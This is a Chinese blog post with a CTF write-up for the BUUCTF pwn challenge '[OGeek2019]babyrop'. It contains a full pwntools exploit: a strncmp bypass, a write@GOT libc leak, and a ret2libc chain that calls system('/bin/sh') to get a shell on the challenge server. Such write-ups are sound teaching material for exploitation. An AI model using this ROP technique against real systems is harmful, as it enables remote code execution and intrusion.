首页 > 其他分享 >[BUUCTF]PWN-[OGeek2019]babyrop

[BUUCTF]PWN-[OGeek2019]babyrop

时间:2023-04-04 18:12:45浏览次数:47  
标签:babyrop bin system write io address PWN OGeek2019 payload

 

 

点进sub_80486BB

 

 

 注意alarm()

 

 

 注意buf是v1,输出数是a1,if嵌套strncmp

 

from pwn import *

context(arch='i386', os='linux', log_level='debug')
io = remote('node4.buuoj.cn', 25522)
# io = process('./babyrop')
e = ELF('./babyrop')
io.sendline(b'\x00'.ljust(8, b'\xff'))
write_plt = e.plt['write']
write_got = e.got['write']
main_address = 0x8048825
payload = b'a'*0xe7 + b'pwn!'
payload += flat(write_plt, main_address, 1, write_got, 4)
io.sendlineafter(b'Correct\n', payload)
write_address = u32(io.recv(4))
log.success('write_address => 0x%x', write_address)
libc = ELF('./libc-2.23.so')
libcbase = write_address - libc.symbols['write']
info('libcbase_address => 0x%x', libcbase)
system_address = libcbase + libc.symbols['system']
log.success('system_address => 0x%x', system_address)
bin_sh_address = libcbase + libc.search(b'/bin/sh').__next__()
log.success('bin_sh_address => 0x%x', bin_sh_address)
io.sendline(b'\x00'.ljust(8, b'\xff'))
payload = b'a'*0xe7 + b'pwn!'
payload += flat(system_address, 0xdeadbeef, bin_sh_address)
io.sendlineafter(b'Correct\n', payload)
io.interactive()

 

 

 参考脚本:https://github.com/Don2025/CTFwriteUp/blob/main/Pwn.md

 

标签:babyrop,bin,system,write,io,address,PWN,OGeek2019,payload
From: https://www.cnblogs.com/yushiting/p/17287282.html

相关文章

  • [BUUCTF]PWN-bjdctf_2020_babyrop
    注意本题需要用到ROPgadget安装命令:sudoapt-getinstallpython-capstonegitclonehttps://github.com/JonathanSalwan/ROPgadget.gitcdROPgadgetsudopythonsetup.pyinstall以下是相关使用命令:命令: ROPgadget--binary文件名--only"pop|ret"|greprdi命令: R......
  • buuctf.pwn.jarvisoj_level2
    这个题目,是缓冲区溢出检测一下Nocanaryfound:可以看出没有栈保护NOPIE:没有地址随机化然后分析题目这一次我在网上看到了不同的解法,但是基本思路是一致的主要看一下这个溢出ssize_tvulnerable_function(){charbuf[136];//[esp+0h][ebp-88h]BYREFsys......
  • [BUUCTF]PWN-bjdctf_2020_babystack2
          这题比较简单,注意无符号字符串变为负数之后会发生溢出即可pro.symbols是输出函数地址的意思r.recvuntil的使用是接收到字符串为止,然后将接受的数据返回为什么会有两个payload是因为我想使用这种方式看看行不行为什么是0x10,是因为main函数里不能大于10......
  • pwn刷题笔记
    做几道pwn题,不使用ida的反汇编功能。 buuoj:ciscn_2019_n_1检查保护机制,只开启了数据段不可执行 ida查看main函数汇编代码 根据汇编代码写出main函数的反汇编代码setvbuf(cs:__bss_start,0,2,0);servbuf(cs:stdin@@GLIBC_2_2_5,0,2,0);func();return;......
  • [BUUCTF]pwn-jarvisoj_fm
     32位程序,开了NX和Canary,放入ida分析  查看system函数/bin/sh函数,看看可不可以ret2libc  第10行存在格式化字符串漏洞,我们可以利用它随意读写的特性让x=4x_......
  • pwn学习笔记-ROP和hijack GOT
    前情提要修改返回地址,让其指向溢出数据中的一段指令(shellcode)修改返回地址,让其指向内存中已有的某个函数(return2libc)修改返回地址,让其指向内存中已有的一段指令(ROP)修......
  • pwn学习笔记-栈溢出
    背景知识 函数调用栈函数调用栈是指程序运行时内存一段连续的区域,用来保存函数运行时的状态信息。包括函数参数与局部变量等。称之为栈是因为在函数调用时,调用函数的......
  • buuctf.pwn.ciscn_2019_n_1
    检测开启了栈不可执行的检测然后拖进IDA分析比较赤裸注意到,我们输入的是num1,但是比较的是num2所以我们需要把num1溢出到num2比较幸运的是,num1在num2的上方(空间......
  • Vulnhub:pWnOS 2.0靶机
    kali:192.168.111.111靶机:192.168.111.235信息收集端口扫描nmap-A-v-sV-T5-p---script=http-enum192.168.111.235访问网站blog目录在源码处发现cms信息为:Si......
  • pwn做题技巧
    Canary对抗canary策略1,泄露canary值2,泄露fs:28H内的值3,覆写fs:28H副本值4,劫持stack_chk_fail5,stacksmashing6,逐字节爆破(BROPgadget,相对限制多)GOT(globaloffsett......